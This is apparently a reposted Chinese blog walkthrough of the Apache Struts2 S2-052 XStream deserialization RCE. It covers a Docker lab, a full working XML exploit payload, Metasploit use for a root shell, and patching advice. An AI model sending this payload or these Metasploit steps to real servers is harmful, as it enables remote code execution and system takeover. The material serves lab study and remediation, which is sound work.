Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议点击“合天智汇”关注,学习网安干货话说哥们正吃着火锅唱着歌呢~~突然瞥见微信群的信息“Struts2S2-052RCE。。。。”赶紧放下筷子瞅一眼,这Struts2真是不让人省心啊,…

大家好,又见面了,我是你们的朋友全栈君。

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

点击“合天智汇”关注,学习网安干货

话说哥们正吃着火锅唱着歌呢~~

突然瞥见微信群的信息“Struts2 S2-052 RCE。。。。”

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

赶紧放下筷子瞅一眼,

这Struts2真是不让人省心啊,

又双叒叕的出漏洞了~~~

你说出漏洞就出漏洞吧,

动不动就是远程代码执行,

心脏不好的估计吓死好几回了。

先看看漏洞简介:

2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为CVE-2017-9805(S2-052)。Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

 

官方介绍在这里:https://struts.apache.org/docs/s2-052.html

其他介绍各大小安全资讯网站都有了,这里就不多介绍了。(我感觉他们的速度比香港记者还快)

 

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

0x01 漏洞环境搭建

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

这里我偷懒,就用Docker搭建了(前提是你得有Docker环境)

镜像提供感谢:GitHub – Medicean/VulApps

快速搭建各种漏洞环境(Various vulnerability environment) https://github.com/Medicean/VulApps

拉取镜像:

docker pull medicean/vulapps:s_struts2_s2-052

构建环境:

docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-052

 

这样两条命令就Ok了~~

 

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

0x02  漏洞利用

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

浏览器访问:http://ip/struts2-rest-showcase/

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

同时把抓包工具打开,Burpsuite 就行了。

然后随便选一个ID 进行 编辑,比如选 3 进行编辑,

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

改好之后点 Submit

这时候,抓包工具这边就获取到了数据包了

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

来重放这个数据包,不过要改点东西。

首先我们把 Content-Type 改成 application/xml

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

构建POST数据如下:

<map>

<entry>

<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class=”com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data”> <dataHandler> <dataSource class=”com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource”> <is class=”javax.crypto.CipherInputStream”> <cipher class=”javax.crypto.NullCipher”> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class=”javax.imageio.spi.FilterIterator”> <iter class=”javax.imageio.spi.FilterIterator”> <iter class=”java.util.Collections$EmptyIterator”/> <next class=”java.lang.ProcessBuilder”> <command><string>/usr/bin/touch</string><string>/tmp/hahaha</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class=”javax.imageio.ImageIO$ContainsFilter”> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next>foo</next> </serviceIterator> <lock/> </cipher> <input class=”java.lang.ProcessBuilder$NullInputStream”/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference=”../jdk.nashorn.internal.objects.NativeString”/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference=”../../entry/jdk.nashorn.internal.objects.NativeString”/> <jdk.nashorn.internal.objects.NativeString reference=”../../entry/jdk.nashorn.internal.objects.NativeString”/>

</entry>

</map>

划重点:要执行的命令在这里:

<command><string>/usr/bin/touch</string><string>/tmp/hahaha</string> </command>

作用在目标上新建一个文件

先看看目标上的文件

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

然后我们提交构建好的POST数据包。

提交之后返回很多报错信息

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

赶紧去目标机上看看。

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

Duang~~成功了。

 

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

0x03 漏洞利用姿势之反弹shell

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

这里借用 https://github.com/wvu-r7 提供的利用脚本。

翠花,上酸菜,啊~~呸~~上MSF

 

先下载模块:https://github.com/wvu-r7/metasploit-framework/blob/5ea83fee5ee8c23ad95608b7e2022db5b48340ef/modules/exploits/multi/http/struts2_rest_xstream.rb

 

话说好像我的msf也是在Docker里面(看来我是够懒的~~/手动捂脸)

 

use exploit/multi/http/struts2_rest_xstream

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

看看设置的参数

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

还挺多,其实就设置好RHOST,RPORT和LHOST就行了。

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

然后 exploit ,见证奇迹的时候了

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

成功返回一个session

看看ip啥的吧

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

好嘛~~~root权限?

试试 新建用户 ?新建一个test的用户试试

目标机是否有test用户,目前是没有

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

试试吧

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

再看看:

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

Duang~~成功了。

更多利用姿势就靠各位大佬了~~~

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

0x03 修复建议

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

影响范围:Struts 2.5 – Struts 2.5.12 版本,据说还影响到 2.3.33 版本

修复方法:更新更新更新~~~升级Struts到2.5.13最新版本

临时修复:在不使用时删除StrutsREST插件,限制服务端扩展类型

在struts.xml配置文件中加入:

<constantname=”struts.action.extension” value=”xhtml,,json” />

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

0x04:参考资料

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

【预警通告】Apache Struts2(S2-052)远程代码执行漏洞 | 绿盟科技博客 http://blog.nsfocus.net/s2-052-struts2-remote-code-execution-vulnerability-4

【9月6日更新】漏洞预警 | 高危Struts REST插件远程代码执行漏洞(S2-052) – FreeBuf.COM | 关注黑客与极客 

http://www.freebuf.com/vuls/146718.html

【漏洞公告】CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052)|云安全 – 开发者论坛 https://bbs.aliyun.com/read/534776.html

别忘了投稿哟!!!

合天公众号开启原创投稿啦!!!

大家有好的技术原创文章。

欢迎投稿至邮箱:edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。

有才能的你快来投稿吧!

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

合天网安实验室

网址 : www.hetianlab.com

电话:4006-123-731

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

长按图片,据说只有颜值高的人才能识别哦→

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/159175.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • Java8 Stream使用flatMap合并List

    Java8 Stream使用flatMap合并List之前也写过很多篇关于Java8使用的文章了,但是回顾一下,好像还没介绍过Java8Stream的flatMap操作,昨天刚好在工作中遇到一个场景,发现flatMap简直太方便了,这里总结一下flatMap的常规使用。附带讲一下,使用Java8实现集合的并、交、差操作,其实之前也讲过一种使用Guava的实现方式,具体请参考Guava集合工具 flatMap 首先看一下一种场景,存在一个M…

    2022年6月4日
    94
  • 说明电磁型继电器的工作原理_永磁继电器工作原理

    说明电磁型继电器的工作原理_永磁继电器工作原理原文地址点击这里:电磁继电器(electromagneticrelay)是一种电子控制器件,它具有控制系统(输入回路)和被控制系统(输出回路),通常应用于自动控制电路中,它是用较小的电流、较低的电

    2022年8月1日
    4
  • 关于scrollIntoView的使用

    关于scrollIntoView的使用当输入框被键盘挡住时,可以使用scrollIntoView让输入框回到视野&lt;divref="inputBox"style="height:400px;"&gt;//一定要设置高度才会有效果  &lt;inputtype="text"@focus="intoview()"/&gt;&lt;/div&gt;intoview:function(){  this.$r

    2022年6月24日
    46
  • 网络学习 局域网分类 以太网 令牌网 FDDI光纤分布式数据接口网 异步传输模式网(ATM) 无线局域网

    网络学习 局域网分类 以太网 令牌网 FDDI光纤分布式数据接口网 异步传输模式网(ATM) 无线局域网局域网虽然目前我们所能看到的局域网主要是以双绞线为代表传输介质的以太网,那只不过是我们所看到都基本上是企、事业单位的局域网,在网络发展的早期或在其它各行各业中,因其行业特点所采用的局域网也不一定都是以太网,目前在局域网中常见的有:以太网(Ethernet)、令牌网(TokenRing)、FDDI网、异步传输模式网(ATM)等几类,下面分别作一些简要介绍。1以太网是这样通信的,每台电…

    2022年9月21日
    0
  • 在最完整的搜索提示降史上的用户交互的研究——阅读《An Eye-tracking Study of User Interactions with Query Auto Completion》

    在最完整的搜索提示降史上的用户交互的研究——阅读《An Eye-tracking Study of User Interactions with Query Auto Completion》

    2022年1月12日
    44
  • Java串口编程:串口数据的发送与监听读取「建议收藏」

    Java串口编程:串口数据的发送与监听读取「建议收藏」  本人在近期的开发工作中遇到向串口发送设备控制指令的需求,遂对串口编程进行了略微深入的钻研,在此对自己的一些心得和经验进行总结,以供大家参考与交流。串口介绍  串口全称为串行接口,一般指COM接口,是采用串行通信方式的扩展接口。其特点是数据位的传送按位顺序进行,最少只需一根传输线即可完成,成本低但传送速度慢。由于串口(COM)不支持热插拔及传输速率较低,目前部分新主板和大部分便携电脑…

    2025年6月8日
    0

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号